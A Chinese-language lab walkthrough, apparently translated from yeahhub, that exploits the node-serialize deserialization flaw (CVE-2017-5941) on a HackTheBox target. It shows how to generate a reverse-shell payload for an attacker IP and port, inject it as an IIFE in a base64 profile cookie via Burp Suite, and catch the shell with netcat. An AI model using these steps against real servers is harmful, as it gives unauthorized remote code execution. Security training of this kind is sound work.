严正声明:本文仅限于技术讨论,严禁用于其他用途。
Node.js是一个Javascript运行时环境。它封装了GoogleV8引擎,该引擎可以高效地执行Javascript。另外,Node.js还进行了一些优化并提供了替代API,这使得Google V8引擎能够在非浏览器环境中更有效地运行。
但是Node.js的序列化过程中仍然存在远程代码执行漏洞。具体来说,是Node.js 的node-serialize库存在漏洞。通过传输JavaScript立即执行函数表达式(IIFE),攻击者可以利用恶意代码(不受信任的数据)在反序列化中远程执行任意代码。
漏洞演示环境
靶机:Hackthebox节点服务器(10.10.10.85:3000)
攻击机:Kali Linux
所需工具/包:nodejs、npm、nodejs toolkit、node-serialize
关于漏洞(反序列化攻击)
不受信任的数据被传递到unserialize()函数,使得我们可以利用JavaScript对象的立即执行函数表达式(也就是IIFE)来执行任意代码。
第一步,通过apt-get命令“apt-get install nodejs”安装nodejs包,如下图所示:
第二步,使用curl命令“curl -L https://www.npmjs.com/install.sh | sh”安装npm实用程序(用于安装node-serialize包),如下图所示:
在安装和配置好了nodejs和npm之后,我们就可以通过npm来安装node-serialize包了,键入命令“npm install node-serialize”,如下图所示:
另一方面,我们已经与HacktheBox服务器建立了连接,其存在漏洞的节点服务器的IP为10.10.10.85:3000(节点服务器上运行着nodejs express 框架,可以通过nmap来确认)。
第一步,我们需要在最受欢迎的代理拦截工具之一(即Burp Suite)的帮助下捕获上述易受攻击的IP所发出的GET请求,如下图所示:
第二步,选择cookie值并将其发送到Decoder模块进行解密。
这个易受攻击的Web应用程序的漏洞在于,它从HTTP请求的cookie中读取profile的值,执行base64解码后传递给unserialize()函数。由于cookie是不可信的输入,攻击者可以通过精心构建的恶意cookie值来利用这个漏洞。
第三步,我们需要下载由Ajin Abraham开发的nodejs securitytoolkit,他是最受欢迎的移动安全专家之一。
要安装Nodejs Security Toolkit,需要在终端中键入命令“git clonehttps://github.com/ajinabraham/Node.Js-Security-Course.git”。
导航到下载的文件夹,并执行以下命令来创建反向shell payload,这个payload会把JavaScript代码当成字符串来执行。
首先,我们需要通过键入“ ifconfig ”来找到自己的IP地址 ,然后执行命令“python nodejsshell.py 10.10.14.145 4443”。
下图就是最终的反向shell payload:
现在,让我们使用下面的JavaScript代码来生成序列化的payload。
var y = {
rce : function() {}
}
var serialize = require(‘node-serialize’);
console.log(“Serialized: \n” + serialize.serialize(y));
将上面生成的payload添加到{eval(String.from ......... })中,如下图所示:
将文件另存为exploit.js并使用node命令“node exploit.js”执行,将生成最终序列化的payload,如下图所示:
现在回到Burp Suite并导航到Decoder模块,将上图中的代码粘贴到Textarea中解码成字符串。解码之前,在函数体后面加上IIFE圆括号():
在这里,我们需要对字符串进行base64编码,然后在Cookie标头值中使用经编码的payload向web服务器发出请求。
现在向10.10.10.85:3000发出请求,我们需要向Repeater 模块发出相同的请求。
在Repeater模块中,我们需要将cookie值替换为我们在上面生成的base64编码值,然后单击“GO”按钮。
同时,使用命令“nc -lvp 4443”确保netcat服务正在监听相同的端口,即4443(反向shell payload的端口)。
一旦你点击了“GO”按钮,服务器就将接收到请求,显示“200 OK”响应码以及一条错误消息“An error occurred…invalid username type”。在netcat终端中,你会看到你已经与服务器建立了连接,状态为“Connected”。如此一来,你就可以执行任意代码了。
演示视频
参考文献
l https://github.com/ajinabraham/Node.Js-Security-Course
l https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941
l https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5954
l https://blog.websecurify.com/2017/02/hacking-node-serialize.html
l https://github.com/commenthol/serialize-to-js/issues/1
l https://vulners.com/myhack58/MYHACK58:62201783324
l https://github.com/luin/serialize
l http://dptech.com/en/research_gg_info.php?2648
l http://www.reverse-edge.com/mt/know-how/2017/02/entry.html
l https://www.alibabacloud.com/help/faq-detail/50422.htm
l https://blog.appsecco.com/nodejs-and-a-simple-rce-exploit-d79001837cc6
l https://www.hacksparrow.com/difference-between-spawn-and-exec-of-node-js-child_process.html
l http://benalman.com/news/2010/11/immediately-invoked-function-expression/
l https://opsecx.com/index.php/product/node-js-security-pentesting-and-exploitation/
*参考来源:yeahhub,Hydralab 编译,转载请注明来自 FreeBuf.COM